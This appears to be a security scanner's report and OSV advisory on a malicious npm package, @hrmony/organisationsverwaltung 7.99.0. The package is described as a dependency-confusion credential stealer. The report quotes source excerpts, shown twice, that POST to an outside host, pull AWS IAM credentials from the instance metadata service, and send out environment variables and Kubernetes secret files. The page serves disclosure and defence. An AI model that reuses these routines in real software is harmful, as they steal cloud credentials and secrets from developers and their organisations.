@hrmony/organisationsverwaltung@7.99.0: Malicious npm security

AI Security Review

scanned 9d ago · by lpm-firewall-ai

The main entry point is an active credential and data collection payload. It automatically collects cloud metadata, environment variables, and Kubernetes secrets and sends them to an external host.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing or loading the package main entry point triggers the collection routines.

Impact

Cloud credentials, instance data, environment secrets, and Kubernetes-mounted secrets can be exfiltrated.

Mechanism

Top-level code posts to the external endpoint, queries the AWS metadata service for IAM data, reads process environment variables and secret files, then posts the results.

Attack narrative

Loading the declared entry point immediately contacts an external collection host. It queries AWS instance metadata, including IAM security credentials and user data, reads every process environment variable, recursively reads Kubernetes secret files, and transmits the gathered data to that host. The routines are invoked automatically and errors are suppressed.

AI rationale

The package contains active automatic collection and external transmission of cloud credentials and local secrets. This is concrete credential and data exfiltration behavior.

Evidence

index.js/var/run/secrets/

Network endpoints2

hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_organisationsverwaltung169.254.169.254

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-17270

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @hrmony/organisationsverwaltung (npm)

Details

@hrmony/organisationsverwaltung 7.99.0 executes credential-theft code at the top level of index.js, so simply requiring or importing the package triggers exfiltration. On load it sends a hello beacon via POST to https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_organisationsverwaltung, then queries the AWS EC2 Instance Metadata Service at 169.254.169.254 (IMDSv2) to retrieve IAM role security-credentials and identity documents, enumerates all entries of process.env, and recursively reads every file under /var/run/secrets/ (the mount path for Kubernetes service-account tokens and mounted secrets). The collected AWS credentials, environment variables, and Kubernetes secrets are POSTed as a JSON payload to the same hardcoded endpoint at hrnmn.dd.h4x.tv. Package metadata (empty description, no repository, version 7.99.0 published under the @hrmony scope with a self-declared @hrmony/kit-5 dependency) is consistent with a dependency-confusion package targeting an internal @hrmony/* namespace.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package declares index.js as its main entry point.
The entry point sends a POST request to an external collection endpoint during module evaluation.
The entry point requests AWS instance metadata, including IAM role credentials and instance user data, then posts the collected object externally.
The entry point copies all environment variables and recursively reads Kubernetes secret files.
The collected environment variables and Kubernetes secrets are posted to the external collection endpoint.
Both collection routines are invoked automatically at the end of the entry point.

Evidence against

Behavioral surface

Source

EnvironmentVarsFilesystemNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 5.12 KB of source, external domains: 169.254.169.254, hrnmn.dd.h4x.tv

Source & flagged code

7 flagged

index.jsView file

4L5: const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_organisationsverwaltung"; L6: L7: await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) }); L8: async function aws_get() { L9: const IMDS = "http://169.254.169.254"; L10: const META_URL = `${IMDS}/latest/meta-data`; ... L15: const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) }); L16: return await res.text(); L17: } ... L57: const base = `${META_URL}/network/interfaces/macs/${mac}`; L58: const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

5const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_organisationsverwaltung"; await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JS

High

Ai Review Evidence

The entry point sends a POST request to an external collection endpoint during module evaluation.

index.jsView on unpkg · L5

83const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`)); const roleCreds = await Promise.all( roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`)) ); info.iam = { info: asJson(await safeReq(`${META_URL}/iam/info`)), user_data: await safeReq(`${IMDS}/latest/user-data`), ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)), roles: Obj

High

Ai Review Evidence

The entry point requests AWS instance metadata, including IAM role credentials and instance user data, then posts the collected object externally.

index.jsView on unpkg · L83

94info.collected_at = new Date().toISOString(); const res = await fetch(EXPORTER_URL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(info), }); return info; } async function local

High

Ai Review Evidence

The entry point requests AWS instance metadata, including IAM role credentials and instance user data, then posts the collected object externally.

index.jsView on unpkg · L94

111function readSecrets(dir, out = {}) { try { for (const e of fs.readdirSync(dir, { withFileTypes: true })) { const p = path.join(dir, e.name); try { if (fs.statSync(p).isDirectory()) readSecrets(p, out); else out[p] = fs.readFileSync(p, 'utf8'); } catch (err)

High

Ai Review Evidence

The entry point copies all environment variables and recursively reads Kubernetes secret files.

index.jsView on unpkg · L111

128const k8s_secrets = readSecrets('/var/run/secrets/'); await fetch( EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json", }, body: JSON.stringify({ envs: envs, k8s_secrets: k8s_secrets }) } ); } try { await aws_get(); }

High

Ai Review Evidence

The collected environment variables and Kubernetes secrets are posted to the external collection endpoint.

index.jsView on unpkg · L128

package.jsonView file

2"name": "@hrmony/organisationsverwaltung", "version": "7.99.0", "description": "", "main": "index.js", "files"

High

Ai Review Evidence

The package declares index.js as its main entry point.

package.jsonView on unpkg · L2

Source & flagged code

7 flagged · loading source

index.jsView file

4L5: const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_organisationsverwaltung"; L6: L7: await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ "c53": "hello" }) }); L8: async function aws_get() { L9: const IMDS = "http://169.254.169.254"; L10: const META_URL = `${IMDS}/latest/meta-data`; ... L15: const res = await fetch(url, { ...options, signal: AbortSignal.timeout(TIMEOUT_MS) }); L16: return await res.text(); L17: } ... L57: const base = `${META_URL}/network/interfaces/macs/${mac}`; L58: const [ownerId, publicHostname, securityGroups, privateIpv4s, subnetIpv4,

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

index.jsView on unpkg · L4

5const EXPORTER_URL = "https://hrnmn.dd.h4x.tv/save_instance_info_from_pkge_hrmony_organisationsverwaltung"; await fetch(EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json" }, body: JS

High

Ai Review Evidence

The entry point sends a POST request to an external collection endpoint during module evaluation.

index.jsView on unpkg · L5

83const roleNames = asList(await safeReq(`${META_URL}/iam/security-credentials/`)); const roleCreds = await Promise.all( roleNames.map((r) => safeReq(`${META_URL}/iam/security-credentials/${r}`)) ); info.iam = { info: asJson(await safeReq(`${META_URL}/iam/info`)), user_data: await safeReq(`${IMDS}/latest/user-data`), ec2_cred: asJson(await safeReq(`${META_URL}/identity-credentials/ec2/security-credentials/ec2-instance`)), roles: Obj

High

Ai Review Evidence

The entry point requests AWS instance metadata, including IAM role credentials and instance user data, then posts the collected object externally.

index.jsView on unpkg · L83

94info.collected_at = new Date().toISOString(); const res = await fetch(EXPORTER_URL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(info), }); return info; } async function local

High

Ai Review Evidence

The entry point requests AWS instance metadata, including IAM role credentials and instance user data, then posts the collected object externally.

index.jsView on unpkg · L94

111function readSecrets(dir, out = {}) { try { for (const e of fs.readdirSync(dir, { withFileTypes: true })) { const p = path.join(dir, e.name); try { if (fs.statSync(p).isDirectory()) readSecrets(p, out); else out[p] = fs.readFileSync(p, 'utf8'); } catch (err)

High

Ai Review Evidence

The entry point copies all environment variables and recursively reads Kubernetes secret files.

index.jsView on unpkg · L111

128const k8s_secrets = readSecrets('/var/run/secrets/'); await fetch( EXPORTER_URL, { method: "POST", headers: { "content-type": "application/json", }, body: JSON.stringify({ envs: envs, k8s_secrets: k8s_secrets }) } ); } try { await aws_get(); }

High

Ai Review Evidence

The collected environment variables and Kubernetes secrets are posted to the external collection endpoint.

index.jsView on unpkg · L128

package.jsonView file

2"name": "@hrmony/organisationsverwaltung", "version": "7.99.0", "description": "", "main": "index.js", "files"

High

Ai Review Evidence

The package declares index.js as its main entry point.

package.jsonView on unpkg · L2

Findings

7 High2 Medium3 Low

HighCloud Metadata Accessindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowUrl Strings

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code